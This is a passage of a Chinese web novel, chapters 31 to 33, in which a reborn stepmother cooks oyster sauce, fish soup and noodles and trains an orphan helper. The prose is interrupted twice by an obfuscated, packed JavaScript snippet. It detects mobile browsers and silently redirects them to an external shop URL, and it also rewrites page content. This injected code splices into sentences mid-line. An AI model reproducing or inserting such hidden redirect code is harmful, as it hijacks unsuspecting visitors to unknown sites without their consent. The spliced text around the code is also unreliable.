“夫人，黑球是做什么用的？” 修道院的生活比不上贵族，却比绝大多数平民好，也因此，大约翰被修道院收留的几年里，通过到处打杂帮忙，认识了很多在平民家中见不到的稀奇东西。 但他努力回想，无论农奴、平民、修道院还是商人家庭，他所接触的环境里，他从没出现过类似黑球的东西。 “和木柴一样，可以烧火取暖。叫蜂窝煤、黑煤球都行，反正是煤炭做的。 我喜欢用它做饭，火力好控制。”尤兰达耐心解答。 大约翰想弄清楚为什么要把煤炭搓成这样，上面戳很多孔洞又是为了什么，以及为什么会有草屑等。 然而话到嘴边，他又咽了回去。 知道用处足够了，再多问有点打探配方的嫌疑，他不希望夫人因此对他生出误会。 仅试工几个小时，大约翰已然下定决心留在北1店，这里让他觉得舒心。 既然想长久为夫人做事，他必须谨慎点。 “来，帮我生火。”尤兰达朝他招手。 大约翰咧嘴一笑，蹭地蹿过去：“好的夫人。” 剁碎的生蚝连肉带汁“哗啦”倒进大铁锅，加一盆凉白开和一勺盐，加速出汁。 灰白的蚝汁滚开，便可用笊篱捞出收缩熟透的蚝肉，剩下的汤汁继续熬煮。 说实话，锅里的蚝汁毫无卖相可言，灰白灰白的，能毒死一整个皇城居民的样子。 大约翰想瞧又不敢瞧太久，想不通夫人煮这一锅生蚝做什么。 “改用中火，约翰。”她不紧不慢地搅动勺子。 大约翰接到命令，抽出两根木柴，火势瞬间矮了下去，温驯地舔着锅底。 锅里汤汁咕嘟冒泡时，尤兰达眼睛不眨地加了一大勺麦芽糖，一大勺盐，看得大约翰心惊不已。 就算在修道院，有贵客暂住，修士们也不敢如此挥霍麦芽糖和盐。 大约翰暗暗咋舌之际，神奇的事情发生了，灰白的蚝汁颜色一点一点变深，从浅灰到棕褐，渐渐有了记忆中蚝油的影子。 尤兰达眯了眯眼，勺子沾了点棕色蚝酱送进嘴，浓浓生蚝鲜味的鲜甜汁水充斥口腔。 不错不错，连味道也很像。 主要步骤完成，剩下是保持火力熬煮，至少三小时，熬到汤汁只剩三分之一，浓稠挂勺才算完。 “约翰，”她让开灶台前的位置，“你来看着锅。勺子不能停，一直搅，不然会焦底。” 大约翰一听能上手，眼睛都亮了，挺起胸膛，郑重其事地伸出手—— “等等！”一声高亢的尖锐爆鸣响彻厨房。 黑乎乎、干巴巴的手伸来，指甲缝里嵌着不知道什么时候塞进去的泥，尤兰达头皮发麻，瞳孔地震，急忙阻止了他。 不止大约翰，西芙拉、菲奥娜以及所有土著，好像都很少注重饮食卫生。 他们甚至不如印度人，好歹知道拉屎吃饭要分左右手。 尤兰达的表情前所未有地严肃，几乎是耳提面命般强调： “别的店铺我不清楚，我们做餐饮的双手必须保持洁净，接触食材和餐具之前，务必用草木灰水搓一遍手，最好连指甲缝一起洗干净。能做到吗？” 大约翰的脸腾地红了，手指不自觉蜷缩，恨不得找个地缝钻进去。 “我明白了，夫人。”他颤着声回答。 尤兰达见他无地自容的样子，缓和语气： “我们的双手每天要接触许多脏东西，你摸过煤球、木柴，手上可能沾有煤炭粉尘土，这些东西不洗干净，通过食物进肚子，不管是客人的肚子还是自己的肚子，都会引起疾病。 比如肚子疼、拉肚子、呕吐等等，我们要尽可能避免这类情况发生。 不止做菜的时候要注意卫生，平时饭前饭后，条件允许的前提下也要注重一下。 总之，勤洗手是不会错的。为了食客的健康，也为我们自己的健康。” 大约翰脑子轰的一下炸开，醍醐灌顶一般，突然明白了许多。 他想起来了，修道院厨房的修士会用布巾和水擦手，他见过很多次。 大约翰不敢多问也不敢多看，原来他们之所以那么做，是为了避免疾病。 他重重点头，表示自己会照做，噔噔噔跑去井边打水，认认真真把双手搓了一遍又一遍。 夫人愿意教他技巧，从怎么做到为什么这么做，以及后果和注意事项，大约翰十分珍视，一字一句奉如圭臬。 洗干净双手的大约翰成功接管勺子，守在灶台边，眼睛紧紧盯锅里咕嘟冒泡的蚝油，手里木勺不敢停。 尤兰达转身去了橱柜那边，装模作样掀开面袋，又拉开抽屉扒拉几下。 粗麦粉、细麦粉、雪白的高筋面粉，三样混合倒进大陶盆里，打几颗鸡蛋、撒适量的精盐，兑温水揉开。 面团在掌心翻转，压下去，折叠，再压下去。手腕发力，推出去，收回来，推出去，收回来。 反复十几下，动作不急不躁，透着一股子利落，淡黄面团一个个揉成形，盖上湿布搁在一旁醒着。 大约翰一边搅动勺子，一边忍不住拿眼睛瞟。 南瓜大的面团在夫人手里，乖得跟什么似的，揉、按、推、收，手指翻飞间服服帖帖地变了形状，连动作也灵巧又好看。 夫人要做面包吗？ 他才这么想着，却见夫人擦干净手，丢下面团不管，拎起杂鱼往井边走。 大约翰转动小脑袋瓜，猜到夫人要为杂鱼汤做准备了，自告奋勇开口：“夫人，您看着蚝汁吧，我会清理杂鱼。” 十几条小杂鱼处理起来费事，远不如搅勺子轻松，大约翰自觉自己是新上任的学徒兼杂役，该好好表现。 他赶紧补充：“我在修道院的时候，经常帮厨房的杂役料理食材。” 尤兰达挑了挑眉，小孩子会的挺多。 她把手里的剪刀和木盆让出来，自己接过勺子，往灶台边一站，打算看看他怎么弄。 大约翰隐约意识到夫人在考校他，慌乱一瞬，如常去除腮部。 尤兰达见他手法熟练，便知道平时没少干，搅着勺子，时不时抽空指点几句。 “从腹部剪开……有大鱼鳞就用剪刀刮，不要舍不得用工具，它的存在就是为了方便我们的……很好，内脏先不要丢，放在旁边，晚一点教你怎么处理……用井水冲洗干净，多洗几遍……” 大约翰一一照做，手上的动作越来越顺，抱着木盆走到井边时，他长长舒了一口气。 修道院的杂役如果有不满意，通常会一脚踢开他，夫人还能指导他清理杂鱼，应该是对他满意的吧？ 呆站一会，大约翰嘴角咧开，憨憨地笑出声。 洗净的杂鱼端进厨房，尤兰达安排他清洗昨天特意留下的一大捧野韭菜，剥蒜洗葱切姜片的活也一并交给大约翰。 “能完成吗？处理不了跟我说一声。” 大约翰挺起胸膛，语气坚定：“我会完成的，夫人，再多的活都可以。” 他巴不得活多一点呢，好证明自己存在的必要性。 尤兰达一噎，准备好的大饼无处可画。 “妈妈，快看，我的新买的蝴蝶结好看吗？” “妈妈妈妈，你不知道广场上有多好玩，我喜欢跳舞。” 西芙拉和菲奥娜挎着篮子，风风火火跑进厨房，一人展示帽子上的蝴蝶结，一人欢快的叽叽喳喳。 两人都没瞧见水井边多了个陌生人，陌生人还腾一下站笔直，朝两人露出无措的讨好傻笑。 大约翰听说过她们，从小约翰那里。 费尔南多夫人有两个像白天鹅一样的女儿，她们活泼又美丽，整个贝壳街找不出比她们更好的女孩。 然而两阵香风从面前飘过去，一点余光没分给他。 大约翰挂不住笑了，垂下眼帘，可怜兮兮地蹲了回去。 他听到厨房里传来清脆笑声，两人争抢着讲述街上的见闻，叽叽喳喳像两只小麻雀。 “妈妈，你知道吗，日暮森林的精灵们要来皇城了，他们今晚住在城外的村庄，已经派精灵提前去菜市街租摊位。我们去逛逛好吗？我想□□灵们种的果子，可甜了。” “妈妈，我们明天一起去看精灵吧？我听说精灵都可漂亮了，不过我不相信有人比我更漂亮。” “是吗？听起来真不错，有空会去的。” 两道又脆又亮的嗓音中，大约翰听到夫人不走心的回应。 “对了妈妈，伊莱亚斯王子失踪了，国王派了好多骑士出去寻找。”西芙拉压低声音，神秘兮兮的说。 尤兰达问：“伊莱亚斯王子是谁？” 菲奥娜发出夸张的惊呼：“我的妈妈啊，你怎么忘了他？伊莱亚斯王子是国王的小儿子，辛德瑞拉是他的嫂子……” 顿了顿，清脆声音透着一股子郁闷：“哦~我真不想提起辛德瑞拉。” 西芙拉补充：“妈妈，你以前说过，要让我们在婚礼上和伊莱亚斯王子跳舞呢。” 话音落下，厨房里忽然安静了一瞬。 提起这些，西芙拉和菲奥娜都生出一种恍如隔世的复杂心情。 尤兰达默了默，她哪记住这些有的没的。 只沉寂一瞬，厨房重新响起说话声，说起新话题。 “妈妈，猪肉也买回来了，还有韭葱和鸡蛋，我们可没有偷懒。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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比他吃的都好。 尤兰达：“家里没人有空打草料，暂且用燕麦混着草屑吃。” 在尼尔森家，车夫每天去山脚下打新鲜草料喂马，家里没这个条件了，索性用燕麦代替。 反正从尼尔森家顺了不少，不心疼。 大约翰搅拌着燕麦和草屑，若有所思。 喂完马，洗了手，长柄木勺回到大约翰手里，尤兰达开始擀面。 掀开布，面团胀大了一点，摸上去软乎乎带着劲儿。 她拎起擀面杖，压扁、擀开、转个方向，再擀开。 从厚厚一坨到薄薄一片，从巴掌大到锅盖大，暗黄的面皮一点一点延展开来。 尤兰达动作快，手也稳，擀出来的面皮又大又薄，厚薄均匀得跟机器压出来似的。 边缘不破，中间不洼，面皮透亮得隐约能看见底下案板的木纹。 大约翰看呆了，差点忘了搅勺子。 “别停。”尤兰达头也不抬提醒。 大约翰赶紧收回目光，老实巴交搅锅。 尤兰达把擀好的面皮叠成几层，切成两指宽的长条，然后把长条叠在一起，斜着下刀。 一刀，两刀，三刀，规规整整的菱形面片从刀下滚出来，大小一致，像复制粘贴一样。 切完一摞，她拈起一片对着光看了看，薄厚适中，大小刚好。 笸箩洒上干粉，切好的面片均匀摊开，送上晾晒架等着晾干。 还剩一块小面团，擀薄后切成筷子粗细的条再抻几下，刚好够四个人吃的量。 面条做完，时间来到蓝调时刻，尤兰达见天色不早，开始准备今天的晚饭。 家里有四张嘴，份量比平时多出一截，她终于有机会动用大铁锅做饭了。 另起铁锅做杂鱼汤。 鱼汤想要油润，油脂必须多放，锅热后尤兰达大方的挖出一大勺猪油，稍稍化开便把杂鱼一条条滑入锅。 刚入锅不着急翻动，中火煎到两面金黄时，再倒入足量的开水大火熬煮。 鱼汤白不白，除了鱼要煎透，水也很重要，冷水冲不出漂亮的白汤。 恰好旁边炉灶的蚝油成型了，木勺刮过锅底，拉出厚厚一层，新买洗净的陶盅便派上用场。 40斤生蚝产出约400ml蚝油，考虑到未添加淀粉、小麦粉的纯熬，不能说少，也完全说不上多，普通人还真吃不起。 蚝油一勺勺装进陶盅，密封后和油罐盐罐糖罐摆在一起。 放眼过去，家里明面上的调味料看上去挺像回事了。 想到两天前做的料酒，差不多能用了，尤兰达安排大约翰看着锅，交待他等汤滚开，如何撇出上面的浮沫，再一股脑把盘子里备好的葱姜蒜倒进去。 大约翰掌心直冒汗，夫人这就教他怎么制作食物了？ 自觉被委以重任，大约翰严阵以待等着汤开。 瞪着瞪着，他忽然眨眨眼，又瞪了瞪。 等等！这汤……怎么变的又清又白，刚才明明不是这样！ 有人盯着锅，尤兰达放心去了一趟地窖，再上来时，手里多了一陶盅料酒。 她尝一口，确认味道没跑偏，赶紧往汤里加了一勺。转身去菜园子摘来欧芹叶和豌豆尖，洗净扔进翻滚的白汤里。 一时间，绿的白的交替在锅里打旋儿，漂亮极了。 出锅前，撒盐，撒葱花，勺子搅合几下，鲜香扑鼻而来，拦都拦不住。 杂鱼汤盛进大陶盆，热气腾腾地端上桌。 大约翰目瞪口呆望着那锅白白的、绿绿的、冒着香气的汤，不由想起小约翰在他耳边的念叨。 “费尔南多夫人的厨艺，贝壳街没人能比。” 当时，他以为小约翰没吃过好的，多少有点夸张成份。 现在，他信了，无比坚信。 32.第 32 章 杂鱼汤一出锅，西芙拉和菲奥娜耸着秀气鼻子寻了过来。 到这会，她们才注意灶台旁杵着的大约翰。 “他是谁？” 西芙拉眼含戒备，挑剔目光从上到下扫了大约翰一遍。 菲奥娜也端起姿态，下巴微翘，一股子傲慢劲儿。 尤兰达没开口，大约翰先磕磕巴巴的自我介绍：“我、我叫约翰，是新来的杂役。” 他脊背挺得笔直，两只手下意识攥紧衣角。 见识过尤兰达的厨艺，见识过她对厨房事务的严苛要求，大约翰没底气说自己是学徒，只敢称是杂役。 尤兰达对上女儿们投来的询问目光，颔首点头。 西芙拉眼睛倏地亮了，仿佛看到了曙光。 菲奥娜嘴比脑子快，脱口而出：“那我们——” “不可以，你们照旧负责洗碗。” 尤兰达知道她们的小心思，不给说完就堵了回去。 两人不敢反驳老母亲，没好气地瞥了瞥大约翰，随即把目光全转移到杂鱼汤上。 她们不约而同的俯身弯腰，鼻尖凑到陶盆边，深深吸气。 “好香！” “没有腥味！” 姐妹俩围着杂鱼汤，不时询问尤兰达如何做的，大约翰插不上话低头刷锅。 尤兰达有一搭没一搭的回应着，见趁灶膛火势旺，烧水煮面条。 面条没什么好讲究的，开水下锅，煮到浮起就行，不用时刻盯着。 大约翰刷完锅发现自己闲下来，手脚无处安放，扭扭捏捏找到尤兰达领新任务。 尤兰达有一瞬间以为自己是发布任务的NPC。 她想了想，往菜园子方向抬抬下巴：“菜园子里有一条空着的地，你去挖个小坑。” 又指指桌下盆里的杂鱼内脏和鱼鳃：“把它们埋进去。” 大约翰一脸认真地端起盆，听清下一句吩咐，整个人懵了。 西芙拉没大约翰那么多顾忌，直接问出口，“妈妈，为什么要扔进土里？” 这下，大约翰陷入了纠结，纠结自己该不该避出去，万一听到不该听的…… “当肥料。鱼的内脏、鸡鸭牛马的粪便、我们吃的肉，都可以埋进去，等上一段时间，就能帮助菜园里的菜苗更加快速的生长。” 尤兰达一脸无所谓，随口回答。 这实在算不上什么了不得的知识，养过花的知道，埋过尸的更清楚。 以前沉迷种月季，尤兰达没少因此闹乌龙，左右邻居经常怀疑她杀人抛尸。 解释不清什么是土肥力，什么是发酵过程，她索性含糊带过，只说帮助生长。 厨房里，三个听众，三脸懵逼。 西芙拉将信将疑，菲奥娜一脸茫然。 不是在说鱼内脏吗？为什么跳到了菜苗，还帮助生长？这两样听上去毫无关联。 大约翰的困惑不比两人少，云里雾里的，但夫人这么说，他就信。 大约翰抱着盆，老老实实蹲进菜园子里，一铲一铲挖坑，鱼鳃鱼肠子埋进去，埋完还用脚踩实了，生怕没埋好。 尤兰达继续忙活晚饭，昨天泡淡鱼露的咸鱼块取出来，撒姜丝葱段淋料酒，连盘子一起放在芦苇垫上，架上锅清蒸。 这边忙妥当，她回到流理桌前，切野韭菜、打鸡蛋。 野韭菜特意留出一捧炒鸡蛋吃，存放在空间里，这会拿出来还鲜灵灵的，叶子宽厚油亮，掐一下能出水似的。 尤兰达抓了一把，刀刃贴着叶子切成寸段，咔嚓咔嚓脆生生的响，辛辣香气立刻窜进鼻腔。 切完韭菜，新买的鸡蛋摸出五颗，碗沿一磕，蛋液滑进陶碗里，加点盐搅散。 锅热，倒油，待金黄的油汪在锅底，蛋液倒进锅，刺啦一下，边缘就凝固了，嫩生生的蛋块慢慢成形，还带着点湿润的光泽，尤兰达就把它盛了出来， 锅里留点底油，野韭菜茎先倒进去炒两下，再放韭菜叶，炒到韭菜由挺变软，颜色从翠绿变成深绿，刚炒好的鸡蛋便可回锅，加一撮盐快速翻滚几下，最后，在锅边溜一圈水。 多点汁，拌面才更好吃。 从下锅到出锅，不过两三分钟，野韭菜炒鸡蛋出锅。 这时，面条也煮好过了一遍凉水，分成四碗。 尤兰达给每一碗面都盖了个严严实实，金黄配翠绿，油汪汪的堆在面上，香气四溢， 拌面端上桌，杂鱼汤正好晾到能入口的温度，清蒸腊鱼也完成了。 咸鱼切薄了泡透了，稍稍蒸个十分钟，出锅后热油一浇，霸道的咸香改过了杂鱼汤的鲜香。 四碗面，一盆汤，一叠清蒸腊鱼，几样菜往桌上一摆，看着就馋人。 原本还有一个茄盒，好让她们知道茄子到底有没有毒，大约翰的意外出现，尤兰达暂且歇了心思。 “去洗手，孩子们。” 尤兰达不厌其烦的提醒他们注意卫生。 西芙拉和菲奥娜撒腿狂奔去了井边，挖完土的大约翰也乖巧的搓洗双手，三人都对今天的晚饭报以极高期待。 和西芙拉、菲奥娜单纯的期待不同，大约翰的期待，藏着梦幻的向往。 他是亲眼见证面条的诞生，从擀面到煮面，变戏法一样在他眼皮子底下成形。 大约翰喉结滚了滚，这可是小麦粉啊，细细白白的小麦粉。 他知道小麦粉有多精贵，在修道院里，只配进主教和勋爵老爷的肚子。 他想起夫人白天说过的话，“我们吃什么你吃什么，少不了你一口”。 老实说，大约翰只当夫人在哄骗他，并未当真。 他为许多店铺做过许多杂活，说好包晚餐的的店铺，最多用几个土豆或者半块黑麦面包打发杂役。 他，以及更多像他这样的人，已经习惯如此，不觉得哪里有问题。 大约翰使劲眨了眨眼睛，把疯狂上涌的酸意憋回去。 “发什么呆，赶紧吃饭。” 尤兰达的声音从屋里传来，叫了好几声。 西芙拉和菲奥娜已经上桌，一人抱着一碗面，吃得喷香。两个脑袋凑在烛光里，腮帮子鼓鼓的，时不时发出满足的喟叹。 大约翰嗯了一声，久久没舍得挪开视线。 烛光明亮的起居室，橡木长桌上摆着从林子里摘来的鲁冰花，紫的粉的蓝的，插在陶罐里，好看得很。 两位金灿灿的小姐学着夫人的样子，攥着叉子搅拌面条，享受的吃着咸鱼块。 他像做梦一样，恍恍惚惚走进去，抱起自己那碗面，没有上桌，而是蹲在了门边。 面碗捧在手里，烫烫的，沉沉的。 他低下头，狠狠吸了一口热气。 尤兰达歪了歪头，想叫他坐下来吃，餐桌大着呢，刚张嘴又想起这里的规矩，及时改口。 “还有咸鱼和鱼汤，自己盛。” 大约翰过了好一会才发出声，闷闷回应：“好的，夫人。” 他卷起面条，暴风吸入，慢慢咀嚼，每吃一口要嚼上半天，再回味半天，珍惜得不行。 面条软硬刚好，也不剌嗓子，裹着野韭菜味的汁水，每一根都沾满了香气。 鸡蛋嫩嫩的，滑滑的，野韭菜脆生生的，带着一股浓郁味道。 上帝啊，谁能想不到它就是山上遍地的野草。 这是他这辈子吃过的最好吃、麦麸含量最低的面条。 不对，他以前也没吃过面条。 再怎么舍不得，满满一碗拌面还是吃完了，大约翰舔干净碗，极力缩小存在感，鬼祟蹭到桌边给自己盛了鱼汤，叉起一块咸鱼。 见夫人没有骂他，大约翰踏踏实实回到门边，急不可耐地舀了一勺送进嘴里。 温热汤水一入口，他整个人僵住。 鲜，怎么会有这么鲜的汤？ 他一鼓作气喝掉半碗，随后想起还有咸鱼。 咸鱼外表朴素，和平时吃的没太大区别，大约翰没多想，叉起肉往嘴里送。 稍一咀嚼，大约翰瞪大了眼睛，缓缓垂眸盯着叉子上的半块咸鱼肉。 他十分确定，就是普通的咸鱼，他在集市见过，便宜得很，穷人买不起鲜肉的时候全靠它果腹。 可夫人做的咸鱼，跟他以前吃的完全不一样。 不咸，不腥，不柴。 他回头看一眼橡木餐桌，和桌上的残羹冷炙。 小麦粉无疑是精贵的，可鸡蛋呢？野韭菜呢？咸鱼呢？ 他穿梭菜市街的时候见过价，没一样是贵的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357225|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偏偏这些寻常东西，做出了他从没尝过的美妙滋味。 大约翰狠狠干了剩下半碗鱼汤，舒服得眯起眼。 他要誓死追随费尔南多夫人！ 晚饭的锅碗瓢盆，到底还是落在西芙拉和菲奥娜手里。 两人瞪了一眼干杵着的大约翰，哼了一声背过身，两双手在盆里碰出叮呤咣啷的动静，昭示她们的不爽。 大约翰为难的要死，想揽下洗碗的活，但夫人不同意。 不帮忙吧，两位小姐对他没个好脸色。 别看西芙拉和菲奥娜在尤兰达面前挺服管教，对上外人，尤其顶着杂役身份的大约翰，简直目中无人。 尤兰达朴素的希望他们别打起来，她真不会带孩子。 好在小约翰准时上门清粪，打破了院中略显僵硬的气氛。 大约翰逃似的，嗖一下窜过去，拉着小约翰一起打扫厕所。 知道夫人爱干净，大约翰干起活来格外卖力。 清完粪桶不算完，连厕所墙壁都仔仔细细擦洗了一遍，恨不得把每块砖缝都抠干净。 除了那股浅淡的、怎么也散不尽的味儿，愣是找不出一点脏污。 小约翰干站在一旁，小脸皱巴巴的发愁，他怀疑大约翰要抢他生意。 直到北1店的费尔南多夫人出声阻止他。 “今天的工作结束了，回去休息吧，大约翰。” 小约翰不可置信的望向大约翰，夫人说什么？他在为夫人干活？ “阁楼的瓦片没有装好，你先在外面住着，房租我会补进薪水里。明天第三时祷，来店里上班，我们有很多活要做。” 大约翰喜不自禁，十分孩子气的蹦跶了一下，“我会准时到的，夫人。” 小约翰看着同伴傻乐的样子，再看看费尔南多夫人，忽然生出羡慕情绪。 北1店不仅包住，而且还愿意补贴房租。 上工时间也比别的店铺晚，第三时祷才开始！ 院门落锁的咔哒声传来，大约翰终于绷不住了，咧着嘴原地蹦起来，胳膊一挥，做了个庆祝的动作。 小约翰等不及回去细说，拉着他问：“怎么回事？” 大约翰压低声音，却压不住喜滋滋的劲儿：“就是你看到的这样，我在北1点找到了活，当杂役，以后说不定能当学徒。” 小约翰哇了一声，眼睛都亮了，缠着大约翰问东问西。 “那你吃到费尔南多夫人做的饭了吗？” “薪水有多少？要给行会交钱吗？” “那你以后是不是要搬走了？” 大约翰被问得应接不暇，挠挠头，嘴咧得更开了。 月光照着两个少年的背影，一高一矮，叽叽喳喳地消失在巷子深处。 员工可以下班，当老板的尤兰达还早着呢。 才晚上七点，尤兰达实在睡不着，搬了小木凳坐在院中，脚丫子一圈圈晃，手上动作慢悠悠地剥蒜、剥洋葱。 月光洒在院子里，把她的影子拉得细长。 西芙拉和菲奥娜路过：“妈妈，你弄这些做什么？” “做干粉料。”尤兰达随口答了一句。 两人对视一眼，不太明白什么叫“干粉料”。 但她们知道，妈妈又要做好吃的东西了。 道完晚安，两个女孩乖乖回房间休息。 脚步声消失在楼梯尽头，院子里重新安静下来。 尤兰达一边享受难得的独处时光，一边悠闲的给大蒜瓣切片、洋葱切丝，最后平铺烤盘带回空间烘干。 干透的大蒜片和洋葱丝又脆又硬，轻轻一折便发出断裂的脆响。 反正老外们没那么讲究，烘干的大蒜和洋葱分别磨成粉，也不用过筛了，直接装进陶盅，摆上流理桌。 忙到这些，时间堪堪来到9点，正是尤兰达最精神的时候。 她索性翻出燕麦，提前烘炒、捣磨，把明天备菜的活儿提前完成一部分。 一直忙到城里的狗不叫了、鸟不飞了，夜色浓得化不开，整条巷子都陷进深眠里，她才起身洗漱。 这一晚，尤兰达闻着身上散不去的淡淡蒜味，一头栽进被窝里。 彻底沉入睡眠之前，她还倔强转动脑筋，思索着小吃摊的标识。 33.第 33 章 新的一天，早起的尤兰达干劲满满。 没别的，有大约翰当助理，许多事情都安排得过来。 首当其冲的，自然是山林里一片挨着一片的野韭菜，趁它们鲜嫩，赶紧多多采摘腌起来。 还有菌菇，可不能辜负了大自然的馈赠。 尤兰达盘好头发，戴上头巾出门，敲门声和第三时祷的钟声一同响起，差点没听清。 她快步走到院门口，听着钟声心里直叹气。 她一夜猫子，晚上不睡白天不起的那种，穿来童话世界，只有第一晚把夜熬穿，后来的几天天天早起。 要知道，以前她至少12、13点清醒，哪像现在，平均每天9点起床。 怀念着前世的好日子，尤兰达拉开门，大约翰准点打卡上班。 “早安，夫人。” “早安，大约翰。” 大约翰走进院子，矮身放下背篓时，尤兰达才注意到他背来了满满一背篓的嫩草。 “夫人，我顺路打了马草。”他瞄了一眼车马棚里的大G，话音干巴巴的试探，“我想，它或许会喜欢。” 大G喜欢不喜欢不知道，尤兰达挺喜欢，有新鲜马草可以吃，总比吃燕麦省钱。 何况大约翰是用私人时间收集来的，做为老板，她不能更喜欢了。 “真是个勤快的好孩子，拜托你先生火烧热水，再喂马。”她微笑着说。 大约翰心里那点忐忑，瞬间散了个干净。 “好的，夫人！”他响亮地应了一声。 尤兰达领他进了厨房，一桩桩交代下去：“每天上班第一件事，先在第四炉膛生火烧水。 用井水，不许用外面的溪水，不干净。 烧滚的热水舀进旁边的小缸里，做菜备菜都用烧过的水，生水尽量不要直接用。” 她信誓旦旦说井水干净，实际心里也拿不准，反正肯定没有自来水安全，于是每天烧一锅凉白开备着，再烧一锅热水留着喝。 实在来不及的情况，她才偷偷摸摸用矿泉水代替。 大约翰不太明白为什么要这么麻烦，但夫人说的，他都认真记下了。 “烧完水要喂马、喂兔子，要是车马棚里有马粪，就收集起来，和菜园子边角的泥土混在一起种菜。” “这些是每天必做的准备工作，花不了多少时间。之后该清洗土豆了，看到井边的木盆了吗？每天洗满满一盆，用匕首削去土豆皮。” “别担心，西芙拉和菲奥娜会和你一起分担。” 大约翰挺起瘦薄的胸膛，严肃地绷紧脸：“我会做到的。” 多了一个帮手，本就不算繁重的备菜工作更显轻松。 三人分工合作，一人洗一人削皮一人切条，有条不紊。 尤兰达熬完一锅番茄酱，还能腾出手来，慢吞吞的张罗早午饭。 昨晚大约翰惊叹连连，一副没见过世面的样子，搞得她不好太张扬，决定保守一点。 早午饭就吃胡萝卜玉米粥。 三碗小米淘洗干净，两根胡萝卜切丁，削下整根玉米粒倒进锅，清水加满，小火慢炖。 当地人吃各种麦粥习惯搭配点饼子、面包之类的，尤兰达毫不犹豫选择了配燕麦饼。 做为当地人最爱的快手菜之一，燕麦饼简单方便得离谱。 燕麦粗糙捣磨几下，加水搅拌成面糊状，抓起往锅上一摊一抹，脆脆的燕麦饼就完成了，口感像锅巴，只是少了大米香。 尤兰达嫌它无趣，搅面糊时多加了两勺麦芽糖和一勺黄油，又在摊饼的时候搓成规整的圆形，卖相上看着好不少。 三人急头白脸的一顿塞，一致表达了对甜甜的燕麦饼的喜爱。 这可比他们平时吃的燕麦饼好吃太多。 饭后，尤兰达加入流水线，负责切土豆炸土豆，西芙拉自告奋勇包揽了切面包片的活。 大约翰新手上路，负责简单的烫卷心菜叶和其他零碎杂事。 菲奥娜再度担负跑腿采购任务，去海螺巷买鳕鱼。 新鲜鳕鱼现杀现炸，紧凑点用，两条中型鳕鱼去皮去骨，可以做出50份约1厘米厚的鳕鱼排，也就是50份三明治。 尤兰达有预感，这50份三明治，一定比昨天卖更快。 一上午不急不忙的准备，最后一份三明治摆进陶盘，也到了该出摊的时候。 大约翰到这会才反应过来，费尔南多夫人，就是这两天街头巷尾疯传的薯条夫人。 而他奋斗一上午的土豆，会变成人人争抢的薯条。 大约翰越想越激动，眼巴巴望着尤兰达，等她吩咐他一起摆摊。 对上三人亮晶晶的眼睛，尤兰达决定给他们找点事做。 “牵上大G去森林吧，最深只准走到第一条河沟附近，多摘点野韭菜，要嫩的，我们需要储够一整个冬天的用量，最好能吃到复活节后。” “小菲，你有经验，负责教小西和大约翰。” “当然，如果你们能认出鸡油菌，可以一起采回来，除了它一概不许碰，记得在第九时祷返回。” 俩孩子都颜控，对漂亮的鸡油菌分得最清楚，分不清也没事，带回来有她把关。 “放心吧夫人，我对山林很熟悉。”大约翰稍显失望，很快把胸膛拍得砰砰响。 他和几个同样从修道院出来的孤儿合租，租住的小阁楼就在矮人巷尾巴，刚开始赚不到钱，全靠林子里挖野菜硬熬过来。 他可以骄傲的说，除了林子里的猎户和守林员，不会有比他们更熟悉森林的人。 尤兰达闻言更放心了，小红帽一个娃娃都能去，十几岁的人自然不在话下。 当然，西芙拉和菲奥娜贪玩，不指望她们俩老实干活。 大约翰才是三人中的“保底”，有他在，总不至于空手而归。 “遇见嫩绿的短松针，帮我带一捧回来，”尤兰达随口提了一句，“不用很多。” 搁在以前，她真不至于对松针下手，想到中世纪医疗条件，保养身体需体现日常生活中。 比如松针煮水。 抑菌、解腻、去口臭、去除土腥味，维C含量高可以防坏血病，抗氧化等，好处多多。 有事没事煮一壶喝，总归对身体好。 她给三人备好水囊，又塞了几块燕麦饼，简略收拾一番，四人在家门口分开。 一个人摆摊后，尤兰达发现也没什么难度。 忙归忙，但东西卖完的那一刻浑身轻松。 她推着板车走到巷子口，即将汇入贝壳街的人流，车前忽然多了一道瘦高的身影。 尤兰达扶着帽檐抬眼一瞧，是艾米丽。 团建回家后，尤兰达就没关注过后续。一是她不受邻居待见，没人愿意和她互通有无，二是她太忙，忙着忙着忘记了这件事。 现在看见活生生的人，尤兰达便知道她没吃毒蘑菇。 “费尔南多夫人！” 艾米丽挎着篮子，快步扑上来，给她一个结实的拥抱。 尤兰达被她突如其来的热情弄得一愣，还没反应过来，艾米丽已经松开手，退后一步，眼眶泛红。 “谢谢你，”艾米丽声音有些发颤，“我是说牛肝菌的事。” 尤兰达斟酌着道：“这没什么，一句提醒而已，你和你的家人还好吗？” 说起这事，艾米丽一脸后怕，拍着胸口直呼上帝保佑。 她激动地讲起自己如何发现蘑菇有毒，又如何和玛莎几个人连夜奔走，拦住其他夫人吃下毒蘑菇。 “你想不到这有多可怕，”她攥紧篮子，指节泛白，“我以为我常进森林，怎么也不会认错蘑菇，是我太自大了。 万一有人吃了蘑菇出事，我花再多钱买赎罪券，都没法原谅自己。” “她们是听了我的话摘蘑菇的，我真不知道出事了该怎么办。” 尤兰达这才明白过来，难怪那晚的矮人巷吵闹许久。 “是你家的狗救了你们。”她实话实说。 尤兰达提醒了，可人家没信啊，要不是狗吃了毒蘑菇当场嗝屁，照样没人信她。 话虽如此，艾米丽仍旧表达了自己的感激。 “我准备了一些馅饼和苹果派，你……”艾米丽准备邀请尤兰达回家做客，说到一般倏地停下话音。 她注意到板车上的泥炉和木柴，以及一些瓶瓶罐罐。 艾米丽想起苏珊说过的话，费尔南多夫人被富商老爷赶出门了，现在靠摆摊养家。 还听说，费尔南多夫人没做过家务，不擅长烹饪，生意怕是不太好。 